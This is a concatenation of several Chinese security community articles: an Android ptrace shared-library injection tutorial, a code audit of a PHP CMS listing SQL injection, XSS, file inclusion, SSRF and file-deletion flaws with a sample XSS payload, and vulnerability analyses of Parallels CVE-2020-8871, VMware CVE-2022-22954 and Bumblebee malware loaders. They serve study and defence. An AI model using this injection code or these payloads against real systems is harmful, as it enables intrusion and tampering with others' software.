ProcessDirID = atoi( entry->d_name );
if ( ProcessDirID != 0 )
{
snprintf(filename, MAX_PATH, "/proc/%d/cmdline", ProcessDirID);
fp = fopen( filename, "r" );
if ( fp )
{
fgets(cmdline, sizeof(cmdline), fp);
fclose(fp);
if (strncmp(process_name, cmdline, strlen(process_name)) == 0)
{
pid = ProcessDirID;
break;
}
}
}
}
closedir(dir);
return pid;
}
int main(int argc, char *argv[]) {
char InjectModuleName[MAX_PATH] = "/data/libInjectModule.so"; // 注入模块全路径
char RemoteCallFunc[MAX_PATH] = "Inject_entry"; // 注入模块后调用模块函数名称
char InjectProcessName[MAX_PATH] = "com.testjni"; // 注入进程名称
// 当前设备环境判断
#if defined(__i386__)
LOGD("Current Environment x86");
return -1;
#elif defined(__arm__)
LOGD("Current Environment ARM");
#else
LOGD("other Environment");
return -1;
#endif
pid_t pid = FindPidByProcessName(InjectProcessName);
if (pid == -1)
{
printf("Get Pid Failed");
return -1;
}
printf("begin inject process, RemoteProcess pid:%d, InjectModuleName:%s, RemoteCallFunc:%s\n", pid, InjectModuleName, RemoteCallFunc);
int iRet = inject_remote_process(pid, InjectModuleName, RemoteCallFunc, NULL, 0);
//int iRet = inject_remote_process_shellcode(pid, InjectModuleName, RemoteCallFunc, NULL, 0);
if (iRet == 0)
{
printf("Inject Success\n");
}
else
{
printf("Inject Failed\n");
}
printf("end inject,%d\n", pid);
return 0;
}
# 编译过程
将上面的注入代码编译成可执行文件
## 准备文件
### 注入工具
* jni文件夹
编译文件必须在jni文件夹下
* jni/Android.mk
编译配置文件。
* LOCAL_PATH指定源文件所在目录
* CLEAR _VARS用来清除很多LOCAL_ *变量(但是不会清除LOCAL_PATH)，因为如果编译多个so就需要清除上一个so文件的配置信息
* LOCAL_MODULE：编译后的模块名，默认在后面加上.so
* LOCAL_SRC_FILES: 被编译的源文件
* LOCAL_LDLIBS：源文件用到了一些系统库，通过此变量标记链接到具体位置，如`-L$(SYSROOT)/usr/lib`指定标准库的目录位置位于NDK安装根目录下的 sysroot/usr/include 中.
而`-llog`则标记使用到了liblog.so这个日志库
* `include $(BUILD_EXECUTABLE)`则指定编译成可执行文件
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := inject
LOCAL_SRC_FILES := ptraceInject.c InjectModule.c
LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog
include $(BUILD_EXECUTABLE)
* jni/Application.mk
指定生成适用于32 位 ARMv7指令集的文件
APP_ABI := armeabi-v7a
* 注入工具的源文件：InjectModule.c，ptraceInject.c，ptraceInject.h，PrintLog.h
* InjectModule.c：注入工具入口文件
* ptraceInject.c：注入工具的功能代码
* ptraceInject.h：声明注入函数的头文件
* PrintLog.h：声明日志函数的头文件
### 被注入的Demo模块
* jni文件夹
* jni/Android.mk
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := InjectModule
LOCAL_SRC_FILES := InjectModule.c
LOCAL_ARM_MODE := arm
LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -llog
include $(BUILD_SHARED_LIBRARY)
* jni/Application.mk
APP_ABI := armeabi-v7a
* 被注入模块的源文件InjectModule.c，和日志打印头文件PrintLog.h，这个头文件和上面一样
#include <stdio.h>
#include <stdlib.h>
#include <PrintLog.h>
int Inject_entry()
{
LOGD("Inject_entry Func is called\n");
return 0;
}
## 编译
分别在两个jni目录下执行`ndk-build`命令，需要配置环境变量
**生成位置：** jni同目录下的libs/armeabi-v7a文件夹中
# 注入过程
将编译好的`libInjectModule.so`文件放入/data目录下，然后chmod 777
给注入工具提供执行权限，并运行即可在日志中看到被注入的应用执行了我们注入进去的libInjectModule.so模块中的函数。
当然也可以通过查看进程的内存布局，可以看到我们
# 小结
通过dlopen和dlsym函数将我们自己写好的so库注入进去，记住几个点
【1】只要让远程进程调用dlopen打开我们写好的so文件就实现了so库的注入，紧接着通过将函数名称和dlopen打开的句柄作为参数传递给dlsym就可以实现库中函数地址的检索
【2】上面用到的so文件的路径和函数名称，都需要我们传递到远程进程的内存空间中，远程进程是不能跨进程访问我们注入工具中的字符串的
【3】远程进程的调用，主要通过ptrace来修改寄存器实现，pc决定函数调用哪条指令，r0-r3还有栈决定参数
# 参考
【书籍】游戏安全-手游安全技术入门 | 社区文章 |
## 网站目录结构
## 网站基本防护
/include/common.inc.php
第30-36行
对`$_GET、$_POST、$_COOKIES、$_REQUEST`使用`deep_addslashes()`函数过滤一遍，漏了`$_SERVER`
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
追踪一下`deep_addslashes()`函数
/include/common.fun.php
第14-28行
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
## SQL注入漏洞
### 前台
#### /ad_js.php
12:$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
19:$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
`$ad_id`没有使用单引号双引号包括所以`addslashes()`函数不起作用
`getone()`方法位于`/include/mysql.class.php`第`61`行，作用是执行`SQL`语句并输出
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
`$ad_id`只是用`trim()`函数去除首尾的空格，故存在`SQL`注入漏洞
#### /guest_book.php(XF注入)
因为没有对`$_SERVER`进行过滤，所以使用`X-Forwarded-For`或者`CLIENT-IP`可以伪装`ip`进行`SQL`注入
全局搜索`ip`找到`guset_book.php`里面有关于`ip`的`SQL`语句
第77-79行
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content)
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);
`$online_ip`就是`getip()`
追踪到`common.fun.php`中`getip()`函数
第106-133行
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
所以可以使用`X-Forwarded-For`或者`CLIENT-IP`进行`SQL`注入
评论区出现`SQL`注入结果
#### /comment.php(XF注入)
全局搜索`getip`
发现`comment.php`里面有一处`SQL`语句
第133-135行
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);
其它参数都有`addslashes()`函数过滤而`getip()`的值没有，所以存在`SQL`注入漏洞，和上面一样是`insert`型注入，就不演示了
#### admin/login.php(宽字节注入万能密码)
第22-23行
$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
然后第31行判断
if(check_admin($admin_name, $admin_pwd))
追踪`check_admin()`函数到`common.fun.php`
176-188行
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}
因为编码是`gbk2312`，`$name`使用了`addslashes()`函数过滤，所以存在`SQL`注入漏洞，可造成万能密码进后台
#### /user.php(登录页面宽字节注入)
第77行
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$user_name'");
`$user_name`使用了`addslashes()`函数过滤但是网页编码是`gbk2312`，所以存在宽字节注入
#### /user.php(注册页面insert型宽字节注入)
138行
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
160行
$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";
`$email`使用单引号包围，有`addslashes()`函数过滤，网页编码是`gbk2312`所以存在宽字节注入
#### /user.php(注册页面宽字节注入)
第135行
$user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
第154-156行
if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){
showmsg('该用户名已存在');
}
故存在宽字节注入，但是`$user_name`有大于4小于16的长度限制，不好利用，有点鸡肋
### 后台
#### /admin/nav.php
63-70行
elseif($act=='edit')
{
$sql = "select * from ".table('navigate')." where navid = ".$_GET['navid'];
$nav = $db->getone($sql);
$smarty->assign('nav',$nav);
$smarty->assign('act', $act );
$smarty->display('nav_info.htm');
}
`$_GET['navid']`直接接在后面，存在SQL注入漏洞
#### /admin/attachment.php
第78-85行
elseif($_REQUEST['act'] == 'del')
{
$sql = "DELETE FROM ".table('attachment')." WHERE att_id = ".$_GET['att_id'];
if(!$db->query($sql)){
showmsg('删除附加属性出错', true);
}
showmsg('删除附加属性成功','attachment.php', true);
}
`$att_id`直接接在后面，存在SQL注入漏洞
#### /admin/ad.php
第101行
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
第106行
$ad = $db->getone("SELECT ad_id, ad_name, time_set, start_time, end_time, content, exp_content FROM ".table('ad')." WHERE ad_id=".$ad_id);
`$ad_id`直接接在后面，存在SQL注入漏洞
#### 总结
后台注入大多都是直接拼接或者宽字节造成的，挺多的所以这里略了
## XSS漏洞
### /user.php
注册了一个用户在个人信息里面出现了一些注册信息，查看源代码看是否存在存储型XSS
135-139行
$user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
$pwd = !empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
$pwd1 = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$safecode = !empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
对邮箱`$email`只有个`trim()`以及`addslashes()`，所以存在存储型XSS，直接在网页表单写入payload会被前端检测无法提交，所以抓包改
### /user.php
第266行
$content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
评论的内容采用`filter_data()`函数过滤
追踪`filter_data()`函数，位于`common.fun.php`第985-988行
function filter_data($str)
{
$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
return $str;
}
很明显漏了`img`标签，所以使用`img`标签即可，`payload:<p><img src=1 onerror=alert(1)></p>`
这里必须抓包改，不然会有一个` `干扰`XSS payload`导致无法执行
## 文件包含漏洞
### /user.php
第742-751行
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起，您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}
`$_POST['pay']`前后加了文件，可以使用`../`进行目录遍历，后面的`/index.php`如果`php`版本低于`5.3.4`且`magic_quotes_gpc=off`则可以使用`%00`截断，导致任意文件包含。还可以使用.号路径长度截断，`Windows`下目录最大长度为`256`字节，`Linux`下目录最大长度为`4096`字节
可配合用户头像上传上传图片马使用
## SSRF漏洞
### /user.php
第779-785行
if (!empty($_POST['face_pic1'])){
if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
showmsg('只支持本站相对路径地址');
}
else{
$face_pic = trim($_POST['face_pic1']);
}
它本来的意思是想不能包含`http://`或者`https://`应该用`!==`，但是他用了`!=`，根据php弱类型`strpos()`返回值为0是和false相等的，故能够绕过造成SSRF漏洞
## 任意文件删除
### /user.php
第787-789行
if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
@unlink(BLUE_ROOT.$_POST['face_pic3']);
}
`face_pic1`和`face_pic2`为空时，输入的任意存在文件能被删除
我新建了一个test.php文件在网站根目录下
`burpsuite`抓包传入路径
`test.php`已被删除
### /user.php
第615-617行
if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) {
@unlink(BLUE_ROOT.$_POST['lit_pic']);
}
很明显的任意文件删除
## 总结
刚入坑审计，这是审计的第二个cms，目前使用的就是`rips`以及`Seay`扫一下可能存在漏洞的地方，有的漏洞是扫不出来的需要自己去发现，找SQL注入可以全局搜索一下`SELECT、UPDATE、INSERT、DELETE`等关键字，还可以使用查找危险函数的方法找漏洞比如`unlink()`函数可能存在任意文件删除。有的时候看代码太过繁琐抽象可以尝试功能点审计，比如找到一处上传或者留言板等，去看对应的代码，对变量进行回溯，看是否可控。像我这样刚入坑审计的菜鸟无疑是很枯燥和困难的，代码复杂难懂量大，但是方法不难，所以更多的还是耐心、仔细和坚持。文章中有不足和错误的地方还望师傅们指正。 | 社区文章 |
# CVE-2020-8871：通过VGA设备在Parallels Desktop中提升权限
|
##### 译文声明
本文是翻译文章，文章原作者 zerodayinitiative.com，文章来源：zerodayinitiative
原文地址：<https://www.zerodayinitiative.com/blog/2020/5/20/cve-2020-8871-privilege-escalation-in-parallels-desktop-via-vga-device>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 绪论
Parallels Desktop for Mac是macOS上最流行的虚拟机软件之一，关于它的公开漏洞研究却寥寥无几。去年11月，Reno
Robert（@renorobertr）向ZDI报告了Parallels中的多个漏洞，其中之一允许客户机操作系统中的本地用户提升权限，在主机中执行代码。该漏洞在15.1.3（47255）版中修复，分配了漏洞编号[CVE-2020-8871](https://www.zerodayinitiative.com/advisories/ZDI-20-292/)（ZDI-20-292）。本文将更深入地分析此漏洞及Parallels进行修补的代码。
## 0x01 初步分析
以下分析全部基于15.1.2版，客户虚拟机使用默认选项配置。
原始的报告很短，漏洞是通过简单fuzzing发现的。以下是POC中的相关代码：
while (1) {
port = random_range(0x3C4, 0x3C5+1);
value = random_range(0, 0xFFFF+1);
outw(value, port);
}
这就只是不停地随机往IO端口0x3C4和0x3C5写入字而已。如果在受影响的Parallels版本上运行POC，主机上的`prl_vm_app`进程会崩溃。系统中的每个虚拟机都有一个独立的`prl_vm_app`进程。
Process 619 stopped
* thread #31, name = 'QThread', stop reason = EXC_BAD_ACCESS (code=2, address=0x158d28000)
frame #0: 0x0000000108c7a082 prl_vm_app`___lldb_unnamed_symbol5076$$prl_vm_app + 738
prl_vm_app`___lldb_unnamed_symbol5076$$prl_vm_app:
-> 0x108c7a082 <+738>: mov dword ptr [rsi], ecx
0x108c7a084 <+740>: cmp r12d, 0x2
0x108c7a088 <+744>: jb 0x108c7a0a0 ; <+768>
0x108c7a08a <+746>: mov dword ptr [rsi + 0x4], ecx
Target 0: (prl_vm_app) stopped.
(lldb) bt
* thread #31, name = 'QThread', stop reason = EXC_BAD_ACCESS (code=2, address=0x158d28000)
* frame #0: 0x0000000108c7a082 prl_vm_app`___lldb_unnamed_symbol5076$$prl_vm_app + 738
frame #1: 0x0000000108c7ac8b prl_vm_app`___lldb_unnamed_symbol5078$$prl_vm_app + 907
frame #2: 0x0000000108c7dd52 prl_vm_app`___lldb_unnamed_symbol5093$$prl_vm_app + 1442
frame #3: 0x0000000108ce66dc prl_vm_app`___lldb_unnamed_symbol6282$$prl_vm_app + 636
frame #4: 0x0000000108c77bfc prl_vm_app`___lldb_unnamed_symbol5063$$prl_vm_app + 1468
frame #5: 0x0000000108c7762c prl_vm_app`___lldb_unnamed_symbol5062$$prl_vm_app + 28
frame #6: 0x000000010b91c153 QtCore`___lldb_unnamed_symbol228$$QtCore + 323
frame #7: 0x00007fff6879bd76 libsystem_pthread.dylib`_pthread_start + 125
frame #8: 0x00007fff687985d7 libsystem_pthread.dylib`thread_start + 15
(lldb)
稍做研究我们发现，0x3C4和0x3C5分别是VGA定序器（sequencer）基址寄存器和定序器数据寄存器。初步查看似乎是VGA设备中出现了越界写漏洞。如前面所说，POC是由fuzzing触发的，原始报告也没有提供详细分析。是时候深入看看了。
## 0x02 追根溯源
崩溃位于一个巨大的函数`sub_100185DA0`中，相关代码简化注释如下：
char __fastcall sub_100185DA0(__int64 a1, unsigned int a2, unsigned int a3)
{
//...
vga_context = a1;
v12 = 0;
v13 = 0;
//...
while ( 1 )
{
//...
w = (_DWORD *)(vga_context->w);
//...
dst = (unsigned int *)((_QWORD *)(vga_context->buf) + 4LL * v12 * w);
v24 = 0;
do
{
v27 = 8;
do
{
//...
v31 = (_DWORD *)((_DWORD *)(vga_context->array[ 4LL * ((_BYTE *)v29) ]) | 0xFF000000);
*dst = v31; // 崩溃
++dst;
--v27;
}
while ( v27 );
v24 += 8;
v11 = (_DWORD *)(vga_context->w);
}
while ( v4 * v24 < v11 ); // v4 = 1
//...
}
v12 = v3 * ++v13;
if ( v3 * v13 >= (_DWORD *)(vga_context->h) ) // v3 = 1
break;
...
}
//...
}
`vga_context`结构体分配于VGA设备初始化期间，其中保存VGA设备的状态和变量。该函数试图用三层循环顺序写入缓冲区`vga_context->buf`，总长度计算为`vga_context->h
* vga_context->w * sizeof(DWORD)`字节。然后，执行越界写，由于长度无效而在循环内崩溃。
首先，我们要确定缓冲区`vga_context->buf`内容的来源。
mapped file 00000001539e1000-00000001579e1000 [ 64.0M 47.9M 0K 0K] rw-/rwx SM=ALI
这个64MB的大缓冲区是屏幕缓冲区，经由客户机配置（硬件->图形->内存）来设置，看起来`vga_context->h`和`vga_context->w`是客户机屏幕分辨率的高和宽。
接着，我们要确定`vga_context->h`和`vga_context->w`内容的来源，可以从调试器找到答案，来自`sub_100184F90`里的`vga_state`。
char __usercall sub_100184F90@<al>(int *a1@<rdx>, __int64 a2@<rdi>, _DWORD *a3@<rsi>, unsigned int a4@<r11d>)
{
//...
vga_state = (_QWORD *)(vga_context->vga_state);
v6 = *(_DWORD *)(vga_state->flaggg);
if ( v6 )
{
width = (unsigned __int16 *)(vga_state->w);
height = (unsigned __int16 *)(vga_state->h);
// they will save to vba_context later
//...
}
但是，`vga_state`对象的来源又是哪呢？
shared memory 000000011150e000-0000000111514000 [24K 24K 24K 0K] rw-/rwx SM=SHM
我们发现，是来自共享内存。本案例中，该内存共享于主机的ring0和ring3之间，在ring0的VGA
IO端口handler更新这块内存，然后ring3的视频工作线程（位于`sub_100183610`）使用之。
__int64 __fastcall VgaOutPortFunc(__int16 port, unsigned int cb, unsigned __int64 a3, void *val, void *vga_state, __int64 a6)
{
v11 = *(_DWORD *)val;
v8 = *(_BYTE*)val;
//...
switch ( (unsigned __int16)(port - 0x3B4) )
{
//...
case 0x10u: // 0x3c4
vga_state->sr_index = v8;
return v7;
case 0x11u: // 0x3c5
switch ( vga_state->sr_index + 95 )
{
//...
case 9:
(_WORD *)vga_state->w = v11;
vga_state->sr_index = 0xABu;
return v7;
case 10:
(_WORD *)vga_state->h = v11;
vga_state->sr_index = 0xACu;
return v7;
//...
case 13:
if ( v11 & 1 )
{
(_DWORD *)vga_state->flag8 = 1;
}
else
{
(_DWORD *)vga_state->flag8 = 0;
}
//...
}
//...
case 0x15u: // 0x3c9
LOBYTE(i) = vga_state->i;
vga_state->i = (_BYTE)i + 1;
if ( (_BYTE)i == 2 )
{
v19 = vga_state->index2;
vga_state->array[4 * v19] = 4 * v8;
vga_state->i = 0;
vga_state->index2 = (_BYTE*)(v19 + 1);
}
else if ( (_BYTE)i == 1 )
{
*((_BYTE*)vga_state->array[4 * vga_state->index2 + 1]) = 4 * v8;
}
else if ( (_BYTE)i == 0)
{
*((_BYTE*)vga_state->array[4 * vga_state->index2 + 2]) = 4 * v8;
}
//...
return v7;
//...
}
由以上伪代码看出，0x3C4端口作为选择子，控制着0x3C5端口发生什么。0x3C5端口可以把`vga_context->h`和`vga_context->w`设为任意的16位值。当ring3视频工作线程得到屏幕的新宽高时，就试图更新整个屏幕缓冲区（`vga_context->buf`）。然而，该线程并未对新宽高做验证，导致屏幕缓冲区的溢出漏洞。
此外，溢出的长度也是可以控制的，溢出的值则可以通过0x3C9端口（见`vga_context->array`）部分控制。因此，我们判断此漏洞很可能可以利用。
## 0x03 审视补丁
补丁发布后，我比较了15.1.2和15.1.3版的二进制之间的差异，研究厂商是如何修复漏洞的。仔细查看差异发现，`sub_100185DA0`的调用者中做了微调。
__int64 __usercall sub_100186900@<rax>(__int64 vga_context@<rdi>, unsigned int a2@<r11d>)
{
//...
sub_100184F90((int *)&v29, vga_context, &v28, a2); // 上面已解释
vga_state = (_QWORD *)vga_context->vga_state);
//...
if ( *(_BYTE *)(vga_context->flaggg) ) // 打补丁后
//if ( (_DWORD *)(vga_state->flaggg) ) // 打补丁前
{
//...
}
else if ( *(_DWORD *)(vga_state + 15828) ) // 似乎总是1
{
//...
sub_100185DA0(vga_context, v28, v29); // 触发越界写
//...
}
//...
}
其中一个if分支变动了。补丁把`vga_state->flaggg`改成了`vga_context->flaggg`。
`flaggg`是什么？
如`sub_100184F90`中所见，`flaggg`必须为TRUE才能从`vga_state`获取受控制的宽和高。但是，`flaggg`又必须是FALSE才能进入导致崩溃的函数。两约束条件冲突。
怎样才能满足这些条件？
追根溯源时，我们说过，`vga_state`是ring0和ring3间的共享内存，`flaggg`功能可以通过0x3C5端口配置。因此，可以翻转`flaggg`，并在ring3视频工作线程中利用double
fetch。
补丁把`vga_state->flaggg`改成了`vga_context->flaggg`，由于`vga_context`是ring3堆分配的，不受double
fetch影响，因此不会触发越界写的那条路经。
## 0x04 总结
本文分析了Parallels
Desktop中虚拟设备漏洞的流程和根源。厂商将漏洞标为低严重性，但是考虑到其CVSS得分和从客户提升到主机的可能性，用户应当认为这是严重漏洞并尽快安装补丁。Parallels
Desktop的漏洞提交并不多，也许本文会鼓励其他分析人员往这个方向尝试。如果你找到了漏洞，我们很乐意看一看。 | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/PDxbQKm7CLRjjlA4d-55kA>**
# **前言**
4月6日和5月18日，VMware官方发布的两则安全公告中显示，关乎旗下产品的CVE漏洞多达10个，其中不乏有CVSSv3评分9.8的高危漏洞！如此高频的出洞速率，吸引了笔者注意。继上篇[CVE-2022-22972
VMware Workspace ONE Access
身份认证绕过漏洞分析](http://mp.weixin.qq.com/s?__biz=Mzg3NDcwMDk3OA==&mid=2247483810&idx=1&sn=48063cb1d5271a9b9668a6848be09c2e&chksm=cecd887ff9ba016909849b0e941f69f409d547ca94389a37f50dec9d7dccfa537368c673fb33&scene=21#wechat_redirect)之后，笔者将对CVE-2022-22954
VMware Workspace ONE Access SSTI RCE 漏洞进行细致分析。
# **漏洞描述**
根据4月6日VMware官方发布的安全公告，官方已更新解决了多个产品的安全问题。其中CVE-2022-22954，CVSS评分为9.8，危害等级为严重。该漏洞是由于VMware
Workspace ONE Access and Identity Manager
包含一个服务器端模板注入漏洞，导致具有网络访问权限的恶意攻击者可进行远程代码执行。
# **利用范围**
* VMware Workspace ONE Access 21.08.0.1, 21.08.0.0，20.10.0.1, 20.10.0.0
* VMware Identity Manager（vIDM） 3.3.6, 3.3.5, 3.3.4, 3.3.3
* VMware vRealize Automation(vIDM) 7.6
* VMware Cloud Foundation (vIDM) 4.x
# **漏洞分析**
根据freemarker官网文档（<https://freemarker.apache.org/docs/ref_builtins_expert.html#ref_builtin_eval>）中给出了安全问题的提示。
使用内置函数将字符串计算为 FTL 表达式，FTL 表达式可以访问变量，并调用 Java 方法，例如 "1+2"?eval将返回数字
3，所以`?eval`前的字符串因来自不受信任的来源，可能就会成为攻击媒介。
在Vmware中的endusercatalog-ui-1.0-SNAPSHOT-classes.jar自带的模板customError.ftl就调用了freemarker引擎的eval函数来渲染errObj，这就导致了本次SSTI注入漏洞。
## **环境搭建**
可参考[CVE-2022-22972 VMware Workspace ONE Access
身份认证绕过漏洞分析](http://mp.weixin.qq.com/s?__biz=Mzg3NDcwMDk3OA==&mid=2247483810&idx=1&sn=48063cb1d5271a9b9668a6848be09c2e&chksm=cecd887ff9ba016909849b0e941f69f409d547ca94389a37f50dec9d7dccfa537368c673fb33&scene=21#wechat_redirect)。
本次漏洞分析源码所在位置：/opt/vmware/horizon/workspace/webapps/catalog-portal/WEB-INF/lib。
## **动态调式**
已经定位到安全问题所在，接下来寻找渲染customError.ftl模板的相关代码。
在com.vmware.endusercatalog.ui.web.UiErrorController#handleGenericError函数中。
errorObj由参数传入。
查找handleGenericError函数的被调用关系发现。
handleGenericError函数受如上图所示的两个requestMapping所在的控制器UiErrorController调用。
跟进其中出现的getErrorPage函数，位于com.vmware.endusercatalog.ui.web.UiErrorController#getErrorPage。
除了直接用handleGenericError函数拿到需要渲染的模板，还存在handleUnauthorizedError函数通过条件判断，只有一个分支进入handleGenericError
如何构造参数？
在两个requestMapping中，其中的/ui/view/error为API接口，直接访问无法从请求中提取javax.servlet.error.message，从而无法控制errorObj。
寻找/ui/view/error的其他调用，位于com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#resolveException函数。
存在对javax.servlet.error.message赋值的过程。
查看resolveException函数的被调用关系，受上方handleAnyGenericException函数调用。
其中@ExceptionHandler表明，该处为异常处理器，当程序直接抛出Exception类型的异常时会进入handleAnyGenericException，再通过调用resolveException函数，进行赋值，最终都会返回/ui/view/error。
而在 handleAnyGenericException 中，进入 resolveException 时会根据异常的类型传入不同的参数，如果异常类不是
LocalizationParamValueException 子类的话则传入
uiRequest.getRequestId()，所以我们需要构造参数可控的地方还需要抛出 LocalizationParamValueException
异常类或其子类异常，这样errorObj所需Attribute
errorJson来自LocalizationParamValueException异常的getArgs。
在LocalizationParamValueException函数，如果可以控制抛出异常的参数，就可以把payload传入errorObj。
在endusercatalog-auth-1.0-SNAPSHOT.jar中com.vmware.endusercatalog.auth.InvalidAuthContextException，存在一个InvalidAuthContextException异常，继承于LocalizationParamValueException。
在com.vmware.endusercatalog.auth.AuthContext构造函数中抛出异常。
生成 AuthContext对象的地方在AuthContextPopulationInterceptor
拦截器中，而且各项参数均是从请求中获取，这里可构造注入点。
但正常情况下，在 endusercatalog-auth-1.0-SNAPSHOT.jar 中的拦截器类无法访问到类。
但在com.vmware.endusercatalog.ui.UiApplication，使用 @ComponentScan
注解声明自动将com.vmware.endusercatalog.auth包的类装配进bean容器。
在包中com.endusercatalog.ui.config.WebConfig可查找到。
可进行构造的url。
通过如上分析，可构造payload，进行命令执行。
## **漏洞复现**
# **修复建议**
参考漏洞影响范围进行排查，目前官方已发布修复补丁：
<https://kb.vmware.com/s/article/88099>
# **参考材料**
1.<https://www.vmware.com/security/advisories/VMSA-2022-0011.html>
2.<https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=vmware>
3.<https://mp.weixin.qq.com/s/X_E0zWONLVUQcgP6nZ78Mw?scene=21#wechat_redirect>
4.<https://mp.weixin.qq.com/s/zVYQQgDjcwJKAnX8SZJ5Cw>
* * * | 社区文章 |
**作者：威胁情报团队
译者：知道创宇404实验室翻译组
原文链接：<https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/>**
## **使用后开发框架交付有效负载**
在我们的例行威胁搜寻活动中，Cyble Research & Intelligence Labs (CRIL)
发现了一条[Twitter](https://twitter.com/Max_Mal_/status/1564607613693747204)帖子，其中一位研究人员提到了一个有趣的
Bumblebee 加载程序恶意软件感染链，该恶意软件通过垃圾邮件活动传播。
Bumblebee 是 BazarLoader 恶意软件的替代品，它充当下载器并提供已知的攻击框架和开源工具，如 Cobalt
Strike、Shellcode、Sliver、Meterpreter 等。它还下载其他类型的恶意软件，如勒索软件、木马等。
### **技术细节**
最初的感染源于一封带有密码保护附件的垃圾邮件，该附件包含一个 .VHD（虚拟硬盘）扩展文件。
VHD 文件包含两个文件。第一个名为“Quote.lnk”，第二个是隐藏文件“imagedata.ps1”。LNK
快捷方式文件具有执行文件“imagedata.ps1”的参数，该文件进一步将 Bumblebee 有效负载加载到 PowerShell 的内存中。图 1
显示了 VHD 文件及其内容，以及 LNK 文件属性。
图 1 – VHD 的内容和 LNK 文件的属性
LNK 使用以下目标命令行来执行 PowerShell 脚本“ _imagedata.ps1”_
* C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -file imagedata.ps1
### **第一阶段 PowerShell 加载程序**
在执行“imagedata.ps1”文件时，它会隐藏 PowerShell 窗口并在后台悄悄运行 PowerShell
代码。默认情况下，该恶意软件使用–windowstyle hidden PowerShell 命令来隐藏 PowerShell
窗口。但是，在这种情况下，恶意软件使用备用命令ShowWindow来逃避防病毒扫描程序的检测。下图显示了用于隐藏 PowerShell 窗口的代码片段。
图 2 – 隐藏 PowerShell 窗口的代码片段
PowerShell 脚本包含的字符串被拆分为多行，稍后连接起来以供执行。这是恶意软件用来逃避防病毒产品检测的技术之一。下图显示了混淆的 Base64
编码流，这些流使用“insert”和“remove”关键字进行了规范化，并存储在一个列表中，如下所示。
图 3 – 混淆的 Base64 编码流
接下来，恶意软件遍历规范化的 Base64
元素列表，连接它们，使用[System.Convert]::FromBase64String方法对其进行解码，最后使用[System.IO.Compression.CompressionMode]::Decompress方法执行
gzip 解压缩操作. gzip解压后的数据包含第二阶段的PowerShell脚本，由“Invoke-Expression”进一步执行，如下图所示。
图 4 – 解压和调用第二阶段 PowerShell 脚本
### **第二阶段 PowerShell 加载程序**
此 PowerShell 脚本包含一个大型代码块，可将嵌入式 DLL 有效负载加载到“powershell.exe”的内存中。第二阶段 PowerShell
代码也采用了与第一阶段相同的混淆技术，如下所示。
图 5 – 混淆的第二阶段 PowerShell 脚本
